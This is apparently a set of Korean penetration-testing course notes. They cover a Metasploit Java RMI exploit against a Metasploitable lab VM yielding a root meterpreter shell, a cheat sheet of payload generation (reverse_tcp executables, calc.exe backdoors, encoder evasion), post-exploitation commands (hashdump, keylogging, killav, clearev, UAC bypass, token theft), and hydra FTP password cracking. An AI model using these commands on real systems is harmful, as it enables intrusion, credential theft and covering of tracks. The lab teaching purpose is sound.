..... (중략) ....
msf > help db_nmap
..... (중략) ....
msf > db_nmap -sV 192.168.10.134
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-04 21:56 KST
[*] Nmap: Nmap scan report for 192.168.10.134
[*] Nmap: Host is up (0.000085s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec        netkit-rsh rexecd
[*] Nmap: 513/tcp  open  login?
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  rmiregistry GNU Classpath grmiregistry
[*] Nmap: 1524/tcp open  shell       Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs         2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 00:0C:29:FA:DD:2A (VMware)
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds
msf >

-> rmregistry server port 1099/TCP

② Java RMI Server Exploit 검색 및 공격

msf > search java_rmi_server

Matching Modules
================

   Name                                    Disclosure Date  Rank       Description
   ----                                    ---------------  ----       -----------
   auxiliary/scanner/misc/java_rmi_server  2011-10-15       normal     Java RMI Server Insecure Endpoint Code Execution Scanner
   exploit/multi/misc/java_rmi_server      2011-10-15       excellent  Java RMI Server Insecure Default Configuration Java Code Execution


msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST                       yes       The target address
   RPORT      1099             yes       The target port
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf exploit(java_rmi_server) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.10.50:4444
[*] Using URL: http://0.0.0.0:8080/HZXG3V
[*] Local IP: http://192.168.10.50:8080/HZXG3V
[*] Server started.
[*] 192.168.10.134:1099 - Sending RMI Header...
[*] 192.168.10.134:1099 - Sending RMI Call...
[*] 192.168.10.134   java_rmi_server - Replied to request for payload JAR
[*] Sending stage (45718 bytes) to 192.168.10.134
[*] Meterpreter session 1 opened (192.168.10.50:4444 -> 192.168.10.134:45017) at 2016-04-04 22:07:43 +0900
[-] Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] Server stopped.

meterpreter > help
..... (중략) .....

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getenv        Get one or more environment variable values
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

..... (중략) .....

meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.10.134
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fefa:dd2a
IPv6 Netmask : ::

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
useradd -m -s /bin/bash student
grep student /etc/passwd
student:x:1004:1004::/home/student:/bin/bash
date
Mon Apr  4 09:11:43 EDT 2016
exit
[-] core_channel_interact: Operation failed: 1
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.10.134 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(java_rmi_server) > quit






[참고] 버그를 공격하는 경우

■ CSS(Computer Security Student) 사이트
http://www.computersecuritystudent.com/cgi-bin/CSS/process_request_v3.pl?HID=cdd36f56d4adae17549f9f2e542c3b60&TYPE=SUB

■ RAID7.com 사이트
https://community.rapid7.com/docs/DOC-1875
(주의) 다음 문서는 칼리리눅스 1.0/1.1 버전을 기준으로 만들어 졌습니다.
       따라서, 칼리리눅스 2.0 버전에서는 변형되었거나 혹은 사라진 명령어도 존재합니다.


MSF 관련 명령어 정리


■ msfconsole 명령어

    # msfconsole
    msf> CMD


명령어
설명
show exploits
프레임워크 내의 모든 익스플로잇을 출력한다.(msf> show -h)
show payloads
프레임워크 내의 모든 페이로드를 출력한다.
show auxiliary
프레임워크 내의 모든 보조 모듈을 출력한다.
search name
프레임워크 내의 익스플로잇이나 모듈을 검색한다.
info
특정 익스플로잇이나 모듈의 정보를 출력한다.
use name
익스플로잇이나 모듈을 로드한다.(EX: use windows/smb/psexec)
LHOST
공격 대상과 연결할 메타스플로잇을 사용하는 공격자(로컬) 호스트의 IP주소로 로컬 네트워크가 아닐 경우 공인 IP 주소를 사용한다. 일반적으로 리버스 쉘에서 사용한다.
RHOST or RHOSTS
원격 호스트나 공격 대상을 의미한다.
set function
특정 변수를 설정한다.(EX: LHOST, RHOST)
setg function
특정 변수를 전역으로 설정한다.(EX: LHOST, RHOST)
show options
모듈이나 익스플로잇에서 설정 가능한 옵션을 출력한다.
show targets
익스플로잇이 지원하는 플랫폼을 출력한다.
set target num
운영체제와 서비스팩 정보를 알고 있을 경우 목록에서 특정 대상을 지정한다.
set payload
사용할 payload를 선택한다.
show advanced
더 많은 옵션을 출력한다.
set autorunscript migratge -f
익스플로잇을 완료한 후 별도 프로세스로 자동으로 이주하게 설정한다.
check
대상이 해당 공격에 취약한지 확인한다.
exploit
익스플로잇 공격 모듈을 실행한다.
exploit -j
익스플로잇을 잡으로 동작시킨다.(이 명령은 익스플로잇을 백그라운드에서 실행한다.)
exploit -z
익스플로잇을 성공한 후에 세션을 연결하지 않는다.
exploit -e encoder
특정 페이로드 인코더를 사용한다.(EX: exploit -e shikata_ga_nai)
exploit -h
익스플로잇 명령에 대한 도움말을 출력한다.
sessions -l
연결된 세션 목록을 출력한다.(여러 쉘을 핸들링할 때 사용한다.)
sessions -l -v
모든 연결된 세션과 시스템을 익스플로잇할 때 사용한 취약점 같은 세부적인 내용을 출력한다.
sessions -s script
미터프리터의 모든 활성화된 세션에서 특정 미터프리터 스크립트를 실행한다.
sessions -K
모든 연결된 세션을 종료한다.
sessions -c cmd
모든 연결된 세션에서 명령을 실행한다.
sessions -u sessionID
일반 Win32 셀을 미터프리터 콘솔로 업그레이드한다.
db_create name
데이터베이스를 공격에 사용하기 위해 데이터베이스를 생성한다.(EX: db_create autopwn)
db_connect name
데이터베이스를 이용한 공격을 위해 데이터베이스에 연결한다.(EX: db_connect autopwn)
db_nmap
엔맵을 사용하고 결과를 데이터베이스에 저장한다.(-sT -v -P0 처럼 일반적인 앤맵 문법을 사용할 수 있다.)
db_autopwn -h
db_autopwn 명령에 대한 도움말을 출력한다.
db_autopwn -p -r -e
모든 열린 포트를 대상으로 리버스 쉘을 사용하며, 모든 시스템에 익스플로잇을 수행하는 db_autopwn을 실행한다.
db_destory
사용 중인 데이터베이스를 삭제한다.
db_destroy user:password@host:port/database
추가 옵션을 사용해 데이터베이스를 삭제한다.

■ 미터프리터(meterpreter) 관련 명령어

    # msfconsole
    meterpreter> CMD


명령어
설명
help
미터프리터 사용 도움말을 출력한다.
run scriptname
scripts/meterpreter 디렉토리 목록을 검색해 scriptname에 입력한 미터프리터 기반의 스크립트를 실행한다.
sysinfo
점령한 대상 시스템의 정보를 출력한다.
ls
대상 시스템의 폴더와 파일 목록을 출력한다.
use priv
확장된 미터프리터 라이브러리를 사용하기 위해 권한을 확장한다.
ps
모든 프로세스와 각 프로세스와 관련된 사용자 계정을 출력한다.
migrate PID
특정 프로세스 ID로 미터프리터를 이주한다.
use incognito
incognito 기능을 불러온다.(대상 시스템의 토큰을 훔치고 자격 변경(impersonation)을 위해 사용한다.)
list_tokens -u
대상 시스템의 특정 사용자가 사용 가능한 토큰을 출력한다.
list_tokens -g
대상 시스템 그룹에서 사용 가능한 토큰을 출력한다.
impersonate_token DOMAIN_NAME\\USERNAME
대상 시스템에서 사용 가능한 토큰으로 자격을 변경한다.
steal_token PID
주어진 프로세스에서 사용 가능한 토큰을 훔치고 해당 토큰을 이용해 자격을 변경한다.
drop_token
현재 토큰을 이용한 자격 변경을 중단한다.
getsystem
다중 공격 벡터를 이용해 시스템 레벨 접근으로 권한을 상승시킨다.
shell
사용 가능한 모든 토큰을 이용해 통신 가능한 쉘을 제공한다.
execute -f cmd.exe -i
cmd.exe를 실행하고 통신한다.
execute -f cmd.exe -i -t
모든 사용 가능한 토큰으로 cmd.exe를 실행한다.
execute -f cmd.exe -i -H -t
모든 사용 가능한 토큰으로 cmd.exe를 실행하고 해당 프로세스를 숨긴다.
rev2self
대상 시스템을 점령해 획득한 원래 사용자 권한으로 돌아간다.
reg command
대상 시스템의 레지스트리의 정보를 가져오거나 생성, 삭제, 쿼리, 설정 등 다양한 명령을 수행한다.
setdesktop number
로그인된 다른 사용자의 화면으로 전환한다.
screenshot
대상 시스템에 파일을 업로드한다.
download file
대상 시스템에 있는 파일을 다운로드 한다.
keyscan_start
대상 시스템의 키보드 입력 기록을 시작한다.
keyscan_dump
대상 시스템에서 수집한 키 입력 정보를 덤프한다.
keyscan_stop
원격 시스템의 키보드 입력 기록을 중단한다.
getprivs
대상 시스템에서 가능한 한 많은 권한을 얻는다.
uictl enable keyboard/mouse
키보드와 마우스의 제어를 얻는다.
background
현재 구동 중인 미터프리터 쉘을 백그라운드로 전환한다.
hashdump
대상 시스템의 모든 해시 값을 덤프한다.
use sniffer
스니퍼 모듈을 로드한다.
sniffer_interfaces
대상 시스템에서 사용 가능한 네트워크 인터페이스를 출력한다.
sniffer_dump interfaceID packet-buffer
패킷 버퍼 크기를 정하고 스니핑을 시작한다.
sniffer_stas interfaceID
스니퍼를 중단한다.
add_user username password -h ip
원격 대상 시스템에 사용자를 추가한다.
add_group_user "Domain Admins" username -h ip
원격 대상 시스템에 도메인 관리자 그룹에 사용자를 추가한다.
clearev
대상 시스템의 이벤트 로그를 제거한다.
timestomp
파일의 생성시간과 같은 속성 정보를 변경한다.(아티 포렌식 기술)
reboot
대상 시스템을 재부팅한다.

■ msfpayload 관련 명령어

    # msfpayload CMD


명령어
설명
msfpayload -h
존재하는 페이로드를 출력한다.
msfpayload windows/meterpreter/bind_tcp O
windows/meterpreter/bind_tcp 페이로드에 적용 가능한 옵션을 출력한다.(이 명령은 모든 페이로드에 적용 가능하다.)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe
192.168.1.5에 443 포트로 연결시킬 reverse_tcp 미터프리터 레이로드를 생성하고, 이를 payload.exe라는 윈도우 실행 파일로 저장한다.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.rev
위와 동일하며, 단지 원시 데이터 포맷(Raw Data Format)으로 저장한다. 이렇게 생성한 파일은 추후 MSFencode에서 사용할 수 있다.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
위와 동일하며 C 포맷의 쉘코드로 저장한다.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
%u 인코딩된 자바스크립트로 저장한다.




■ msfencode 관련 명령어

    # msfencode CMD


명령어
설명
msfencode -h
도움말을 출력한다.
msfencode -l
가능한 인코더 목록을 출력한다.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
인코딩할 버퍼의 포맷을 출력한다.
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
payload.raw를 shikata_ga_nai로 5회 인코딩하고 파일명 encoded_payload.exe로 저장한다.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-enocded_payload.exe
다중 인코딩된 페이로드를 생성한다.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
ESI 레지스터가 쉘코드를 가리키는 문자 숫자 조합형 쉘코드를 생성한다. 그리고 이 결과를 c로 출력한다.




■ msfcli 관련 명령어

    # msfcli CMD


명령어
설명
msfcli | grep exploit
익스플로잇만 출력한다.
msfcli | grep exploit/windows
윈도우 익스플로잇만 출력한다.
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
172.16.32.142 IP를 가진 시스템의 열린 443 포트에 bind_tcp 페이로드를 적제한 ms08_067_netapi 익스플로잇으로 공격한다.






■ 기타(msf, ninja, fu)

● msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5의 443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다. 프로그램의 실행 흐름을 정상적으로 유지하모, 임무를 수행한다. 페이로드를 shikata_ga_nai로 인코딩해 최종 결과물을 payload.exe로 저장한다.

● msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5의 443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다. 실행 할 때 애플리케이션이 정상적으로 실행 흐름을 따르지 않으며, 사용자에게 어떠한 창도 띄우지 않는다. 브라우저 익스플로잇을 통해 원격 접근할 때 사용자에게 계산기 프로그램을 숨기기 위해 사용할 수 있따. 이 명령도 shikata_ga_nai로 인코딩한 페이로드를 payload.exe 파일로 저장한다.

● msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 Ebind_tcp 미터프리터 페이로드를 원시 데이터 포맷으로 생성하고 shikata_ga_nai로 7회 인코딩한다. 인코딩 된 페이로드를 payload.exe라는 윈도우 실행 파일 포맷으로 저장하고 해당 페이로드를 받아 실행하는 다중 핸들러를 설정한다.



■ msfvenom

msfvenom은 모든 기능을 하나로 만든 것으로 페이로드을 생성하고 인코딩한다.

# msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe
-> 위의 명령어 한줄로 페이로드를 생성하고 이를 자동으로 실행 파일 형태로 생성한다.



■ 미터프리터(meterpreter) 포스트 익스플로잇(post exploit) 명령

● 미터프리터를 사용하여 윈도우 기반 시스템의 권한을 상승한다.meterpreter> use privmeterpreter> getsystem

● 주어진 프로세스 ID에서 도메인 관리자 토큰을 훔쳐 도메인 계정을 추가하고 해당 계정을 도메인 관리 그룹으로 지정한다.meterpreter> psmeterpreter> steal_token 1784meterpreter> shellc:\windows\system32> net user metasploit p@55w0rd /ADD /DOMAINc:\windows\system32> net group "Domain Admin" metasploit /ADD /DOMAIN

● SAM 데이터베이스에서 패스워드 해시를 덤프한다. ((주의)만약 windows 2008 서버에서 getsystem, hashdump 명령어 예외가 발생한다면 system 계정에서 동작하는 프로세스로 이주할 필요가 있다.)meterpreter> use privmeterpreter> getsystemmeterpreter> hashdump

● 다른 프로세스로 자동 이주한다.meterpreter> run migrate

● killav 미터프리터 스크립트 대상에서 동작하는 백신을 종료한다.meterpreter> run killav

● 이주한 프로세스 내에 대상 시스템 키보드 입력을 수집한다.meterpreter> psmeterpreter> migrate 1436meterpreter> keyscan_startmeterpreter> keyscan_dumpmeterpreter> keyscan_stop

● 관리자로 가장하기 위해 익명을 사용한다.meterpreter> use incognitometerpreter> list_tokens -umeterpreter> use privmeterpreter> getsystemmeterpreter> list_tokens -umeterpreter> impersonate_token IHAZSECURITY\\Administrator

● 점령한 대상에 존재하는 보호 메커니즘을 파악하고, 명령과 관련된 도움말을 출력하며, 방화벽 같은 모든 발견된 대응책을 종료한다.meterpreter> run getcountermeasuremeterpreter> run getcountermeasure -hmeterpreter> run getcountermeasure -d -k

● 점령한 시스템이 가상 머신인지 확인한다.meterpreter> run checkvm

● 현재 미터프리터 콘솔 세션에서 명령 창을 띄운다.meterpreter> shell

● 대상 머신에서 원격 GUI 프로그램(EX: VNC)을 실행한다.meterpreter> run vnc

● 현재 동작하는 미터프리터 콘솔을 백그라운드로 전환한다.meterpreter> background

● 윈도우의 사용자 접근 제어(UAC, User Access Control)를 우회한다.meterpreter> run post/windows/escalate/bypassuac

● OS X 시스템의 해시를 추출한다.meterpreter> run post/osx/gather/hashdump

● 리눅스 시스템의 해시를 추출한다.meterpreter> run post/linux/gather/hashdump







'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160701 프로젝트#2 피드백  (0) 2016.07.01
20160624 프로젝트#2  (0) 2016.06.24
20160623 정보수집단계  (0) 2016.06.23
20160622 정보수집단계  (0) 2016.06.22
20160621 정보수집단계  (0) 2016.06.21
Posted by 22Hz
, |

 

========================================================================================================
[실습] searchspolit.sh 스크립트 작성 (작성중)
========================================================================================================
#!/bin/bash

if [ $# == 0 ] ;
then
        echo "Usage: $0 term1 [term2] ... [termN]"
        echo "Example: $0 oracle windows local"  
        exit 1
fi

# ./searhsploit oracle windows local

# echo $1 = oracle
# echo $2 = windows
# echo $3 = local

MIN=1
MAX=`echo $#` # `MAX=$#

# cat files.csv | egrep -i $1 | egrep -i $2 | egrep -i $3

SEARCH="cat files.csv"
OPT=" | egrep -i "

for NUM in `seq $MIN $MAX` # for i in `seq 1 3`
do
    echo $NUM # =1
    eval echo $`echo $NUM` # =oracle

    TEMP=$`echo $NUM` # =oracle
    TERM=`eval echo $TEMP`
    echo $TERM # =oracle
    SEARCH=`echo "$SEARCH$OPT$TERM"`
done

RESULT=/var/tmp/tmp1
eval $SEARCH > $RESULT
cat $RESULT
rm -rf $RESULT
========================================================================================================
========================================================================================================
실습생 원본 -> 강사님 수정본
========================================================================================================
#!/bin/bash

# 인자 처리 구문
#    # ./searchsploit.sh oracle linux local
if [ $# -eq 0 ] ; then
        echo "Usage : searchsploit.sh [term1] [term2] ... [termN]"
        echo "Example : searchsploit oracle windows local"
        exit 1
fi

SEARCH="cat files.csv"
MIN=1
MAX=$#

#
#     # cat files.csv | egrep -i $1 | egrep -i $2 | egrep -i $3
#
for i in `seq $MIN $MAX`    # for i in `seq 1 3`
do
        TEMP=$`echo $i`        # TEMP=$`echo $1`      ---> TERM=$1
        TEXT=`eval echo $TEMP`    # TEXT=`eval echo \$$1` ---> TEXT=`echo oracle` --> TEXT=oracle
        SEARCH=`echo "$SEARCH | egrep -i $TEXT"`    # SEARCH="cat files.csv |egrep -i oracle"
done

OUT1=`echo $SEARCH | awk -F ',' '{ print $3 }' | cut -b 2-56`
OUT2=`echo $SEARCH | awk -F ',' '{ print $2 }' | sed s/platforms//g`
echo -e "$OUT1\t | $OUT2"

rm -rf /var/tmp/tmp1
========================================================================================================





[실습] 칼리 리눅스 사용하기

■ 사용시스템
- Metasploitable V2 Linux
- KaliLinux

● 온라인(Online) 패스워드 크랙(Crack)하기(Remote Password Attack)
● (GUI) xhydra(hydra-gtk), (CLI) hydra 툴을 사용해 보자.

    ■ 프로그램 사용방법
    Password Attacks > ONline Attacks > hydra-gtk (hydra)
    or
    # hydra

(작업 시나리오)
(KaliLinux(hydra)) --- password crack ---> (Metasploitable V2 Linux(ftpd))

① Meta 서버의 포트 스캔
# nmap -sV -O -F 192.168.10.134     /* Metasploitable V2 Linux IP : 192.168.10.134 */

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-22 17:25 KST
Nmap scan report for 192.168.10.134
Host is up (0.00053s latency).
Not shown: 82 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
513/tcp  open  login?
514/tcp  open  tcpwrapped
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds


    [참고] hydra
    # hydra -l mfsadmin -P <암호 사전 파일> <타켓> <프로토콜>
    or
    # xhydra 



■ xhydra
(GUI) xhydra
(TUI) hydra CMD

# xhydra
-> 생성된 사전 파일을 가지고 작업한다.
-> 사전 파일을 생성하고 크랙하는 과정은 아래 [참고] 내용을 확인한다.

========================================================================================
Target 탭
    Target
        single target : 192.168.10.134
        port : 21
        protocol : ftp
    Output Options
        [ v ] Show Attempts
Passwords 탭
    Username : user1
    Password : [ v ] Password list : (사전 파일은 아래 [참고]에서 만들어진 파일 사용)
Start 탭
    왼쪽 하단 부분에 "Start"
========================================================================================






[참고] Kali Linux 서버에서 사전파일을 생성하고 FTP 통해 user1 사용자의 패스워드를 크랙한다.

(Metasploitable V2 Linux)
● 서버에서 아이디/패스가 쉬운 사용자(EX: user1)를 만든다.

$ sudo useradd -m -s /bin/bash user1   (/etc/sudoers)
$ sudo passwd user1

$ cat /etc/passwd
$ sudo cat /etc/shadow

$ ftp localhost 21
user1/user1
> quit




(KaliLinux)
# cd /root/bin

    [참고] 출력 내용 확인
    # crunch 1 3
    -> 출력 내용을 확인한다.
    # crunch 1 3 ' a1'
    -> 출력 내용을 확인한다.

    [참고] 사전 파일 만드는 방법
    인터넷상에 받은 사전 파일 : a.txt
    직접 만든 사전 파일       : b.txt
    # cat a.txt b.txt | sort -u > c.txt

# crunch 1 5 user1 > user.list   (# crunch 1 5 user1 | head -1000 > user.list)
# cat user.list
# grep --color user1 user.list

# xhydra
username : user1
passwd list : /root/bin/user.list


(Meta)
$ sudo cat /var/log/vsftpd.log  ($ sudo tail -f /var/log/vsftpd.log)
$ sudo cat /var/log/auth.log    ($ sudo tail -f /var/log/auth.log)




[참고] 강력한 암호라는 것은 어떤것인가?
다음 사이트에서 brute force attack 통해 암호가 얼마의 시간안에 크랙이 되는지 계산해 보자.
http://lastbit.com/pswcalc.asp

[1차 시도]
Password length: 5
Speed : 500,000
Number of computers: 1
[ V ] chars in lower case
=> (결과) Brute Force Attack will take up to a minute

[2차 시도]
Password length: 5
Speed : 500,000
Number of computers: 1
[ V ] chars in lower case
[ V ] chars in upper case
=> (결과) Brute Force Attack will take up to 13 minutes

[3차 시도]
Password length: 5
Speed : 500,000
Number of computers: 1
[ V ] chars in lower case
[ V ] chars in upper case
[ V ] digits
=> (결과) Brute Force Attack will take up to 31 minutes

[4차 시도]
Password length: 5
Speed : 500,000
Number of computers: 1
[ V ] chars in lower case
[ V ] chars in upper case
[ V ] digits
[ V ] common punctuation
=> (결과) Brute Force Attack will take up to 74 minutes

[5차 시도]
Password length: 5
Speed : 500,000
Number of computers: 1
[ V ] chars in lower case
[ V ] chars in upper case
[ V ] digits
[ V ] common punctuation
[ V ] full ASCII
=> (결과) Brute Force Attack will take up to 5 hours

[과제] 엑셀을 사용하여 암호의 길이를 조정하면서 표로 만들어 보자.(20분)






[실습] 칼리 리눅스 사용하기 8 (searchsploit CMD 대해서)
● Exploit DB 사용하기(www.exploit-db.com)


    ■ searchsploit 실행 방법
    Exploitation Tools > Explit Database > searchsploit
    or
    # searchsploit <검색단어> <검색단어> ...


# searchsploit

Usage: searchsploit [options] term1 [term2] ... [termN]
Example: searchsploit oracle windows local

=======
Options
=======

   -c                Perform case-sensitive searches; by default, searches will
                      try to be greedy
   -h, --help    Show help screen
   -v                By setting verbose output, description lines are allowed to
                      overflow their columns

*NOTES*
Use any number of search terms you would like (minimum of one).
Search terms are not case sensitive, and order is irrelevant.


# searchsploit oracle

 Description                                                                    Path
----------------------------------------------------------------------------- ----------------------------------
Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit                        | /windows/remote/80.c
Oracle (oidldapd connect) Local Command Line Overflow Exploit                | /linux/local/183.c
Oracle Database Server <= 10.1.0.2 - Buffer Overflow Exploit                 | /windows/local/932.sql
Oracle Database PL/SQL Statement Multiple SQL Injection Exploits             | /windows/local/933.sql
Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit                      | /windows/remote/1365.pm
Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit                  | /windows/local/1455.txt
Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit            | /multiple/local/1719.txt
Oracle <= 9i / 10g (read/write/execute) Exploitation Suite                   | /multiple/remote/2837.sql
..... (중략) .....
Oracle Demantra 12.2.1 - SQL Injection Vulnerability                         | /windows/webapps/31993.txt
Oracle Demantra 12.2.1 - Stored XSS Vulnerability                            | /windows/webapps/31994.txt
Oracle Demantra 12.2.1 - Database Credentials Disclosure                     | /windows/webapps/31995.txt
Oracle VirtualBox 3D Acceleration - Multiple Vulnerabilities                 | /multiple/dos/32208.txt
Oracle Database Server <= 11.1 'CREATE ANY DIRECTORY' Privilege Escalation V | /multiple/remote/32475.sql
Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects      | /php/webapps/32670.txt


# searchsploit oracle | wc -l

197


# searchsploit oracle windows

..... (중략) .....
Oracle Java lookUpByteBI - Heap Buffer Overflow                              | /windows/dos/28050.txt
Oracle Java ShortComponentRaster.verify() Memory Corruption                  | /windows/remote/28331.txt
Oracle Outside In MDB - File Parsing Stack Based Buffer Overflow PoC         | /windows/dos/31222.py
Oracle Forms and Reports - Remote Code Execution                             | /windows/remote/31737.rb
Oracle Demantra 12.2.1 - Arbitrary File Disclosure                           | /windows/webapps/31992.txt
Oracle Demantra 12.2.1 - SQL Injection Vulnerability                         | /windows/webapps/31993.txt
Oracle Demantra 12.2.1 - Stored XSS Vulnerability                            | /windows/webapps/31994.txt
Oracle Demantra 12.2.1 - Database Credentials Disclosure                     | /windows/webapps/31995.txt


# searchsploit oracle windows | wc -l

71



# searchsploit oracle windows local

----------------------------------------------------------------------------- ----------------------------------
Oracle Database Server <= 10.1.0.2 - Buffer Overflow Exploit                 | /windows/local/932.sql
Oracle Database PL/SQL Statement Multiple SQL Injection Exploits             | /windows/local/933.sql
Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit                  | /windows/local/1455.txt
Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)            | /windows/local/3451.c
Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit         | /windows/local/16169.py
Oracle 8/9i DBSNMP Oracle Home Environment Variable Buffer Overflow          | /windows/local/21044.c


# cd /usr/share/exploitdb/platforms
# ls

aix      bsdi_x86        immunix     linux_mips   openbsd      sco_x86        webapps
android  cfm             ios         linux_ppc    openbsd_x86  sh4            win32
arm      cgi             irix        linux_sparc  osx          solaris        win64
asp      freebsd         java        minix        osx_ppc      solaris_sparc  windows
atheos   freebsd_x86     jsp         mips         palm_os      solaris_x86
beos     freebsd_x86-64  lin_amd64   multiple     php          tru64
